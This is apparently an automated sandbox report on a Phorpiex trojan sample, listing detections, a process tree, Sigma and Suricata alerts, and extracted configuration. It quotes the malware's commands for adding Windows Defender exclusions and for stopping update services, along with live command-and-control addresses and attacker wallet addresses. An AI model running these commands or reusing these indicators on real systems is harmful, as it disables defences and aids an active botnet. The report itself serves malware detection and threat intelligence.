Edit tour

Windows Analysis Report
Bjl3geiFEK.exe

Overview

General Information

Sample name:	Bjl3geiFEK.exe renamed because original name is a hash value
Original sample name:	ed9fbbbe548c41479cb70e4d694793d0.exe
Analysis ID:	1543742
MD5:	ed9fbbbe548c41479cb70e4d694793d0
SHA1:	a0bde162d2241ab2acb58544511a41df30a096a7
SHA256:	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e
Tags:	32exetrojan
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Sigma detected: Stop multiple services

Suricata IDS alerts for network traffic

Yara detected Phorpiex

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Drops PE files with a suspicious file extension

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Stops critical windows services

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Bjl3geiFEK.exe (PID: 6852 cmdline: "C:\Users\user\Desktop\Bjl3geiFEK.exe" MD5: ED9FBBBE548C41479CB70E4D694793D0)

33080.scr (PID: 7112 cmdline: "C:\Users\user\AppData\Local\Temp\33080.scr" /S MD5: 06560B5E92D704395BC6DAE58BC7E794)

sysppvrdnvs.exe (PID: 3060 cmdline: C:\Windows\sysppvrdnvs.exe MD5: 06560B5E92D704395BC6DAE58BC7E794)

cmd.exe (PID: 4488 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4092 cmdline: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 7120 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 2188 cmdline: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2380 cmdline: sc stop UsoSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 5940 cmdline: sc stop WaaSMedicSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 6512 cmdline: sc stop wuauserv MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 3620 cmdline: sc stop DoSvc MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

sc.exe (PID: 6996 cmdline: sc stop BITS /wait MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

818921588.exe (PID: 1516 cmdline: C:\Users\user\AppData\Local\Temp\818921588.exe MD5: 06560B5E92D704395BC6DAE58BC7E794)

sysppvrdnvs.exe (PID: 4628 cmdline: "C:\Windows\sysppvrdnvs.exe" MD5: 06560B5E92D704395BC6DAE58BC7E794)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": ["http://185.215.113.66/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Windows\sysppvrdnvs.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Temp\33080.scr	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Temp\818921588.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: 33080.scr PID: 7112	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysppvrdnvs.exe PID: 3060	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysppvrdnvs.exe PID: 4628	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: 818921588.exe PID: 1516	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
18.0.818921588.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.0.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
1.2.33080.scr.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.2.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
17.2.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
1.0.33080.scr.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
18.2.818921588.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
17.0.sysppvrdnvs.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 3 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Stop multiple services

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, CommandLine: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\sysppvrdnvs.exe, ParentImage: C:\Windows\sysppvrdnvs.exe, ParentProcessId: 3060, ParentProcessName: sysppvrdnvs.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, ProcessId: 2188, ProcessName: cmd.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\sysppvrdnvs.exe, ParentImage: C:\Windows\sysppvrdnvs.exe, ParentProcessId: 3060, ParentProcessName: sysppvrdnvs.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ProcessId: 4488, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\Bjl3geiFEK.exe, ProcessId: 6852, TargetFilename: C:\Users\user\AppData\Local\Temp\33080.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\Bjl3geiFEK.exe, ProcessId: 6852, TargetFilename: C:\Users\user\AppData\Local\Temp\33080.scr

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysppvrdnvs.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\33080.scr, ProcessId: 7112, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ProcessId: 4092, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:12.755493+0100	2022050	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49730	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:13.063265+0100	2022051	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:23.546010+0100	2044077	1	A Network Trojan was detected	192.168.2.4	50345	5.239.153.192	40500	UDP
2024-10-28T11:11:28.559672+0100	2044077	1	A Network Trojan was detected	192.168.2.4	50345	5.75.95.114	40500	UDP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:21.513089+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	185.215.113.66	80	TCP
2024-10-28T11:11:23.515407+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-10-28T11:11:26.495491+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	91.202.233.141	80	TCP
2024-10-28T11:11:29.339713+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	57562	185.215.113.66	80	TCP
2024-10-28T11:11:31.283957+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	57563	185.215.113.66	80	TCP

ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:11.839337+0100	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49731	TCP
2024-10-28T11:11:23.823677+0100	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49734	TCP

ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:11:21.513089+0100	2848295	1	A Network Trojan was detected	192.168.2.4	49731	185.215.113.66	80	TCP
2024-10-28T11:11:23.515407+0100	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-10-28T11:11:29.339713+0100	2848295	1	A Network Trojan was detected	192.168.2.4	57562	185.215.113.66	80	TCP
2024-10-28T11:11:31.283957+0100	2848295	1	A Network Trojan was detected	192.168.2.4	57563	185.215.113.66	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Windows\sysppvrdnvs.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882

Found malware configuration

Source: 2.2.sysppvrdnvs.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": ["http://185.215.113.66/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\33080.scr	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	ReversingLabs: Detection: 81%
Source: C:\Windows\sysppvrdnvs.exe	ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	Joe Sandbox ML: detected
Source: C:\Windows\sysppvrdnvs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\818921588.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	1_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	2_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	17_2_0040C830

Phishing

Yara detected Phorpiex

Source: Yara match	File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED

Source: Bjl3geiFEK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: Bjl3geiFEK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

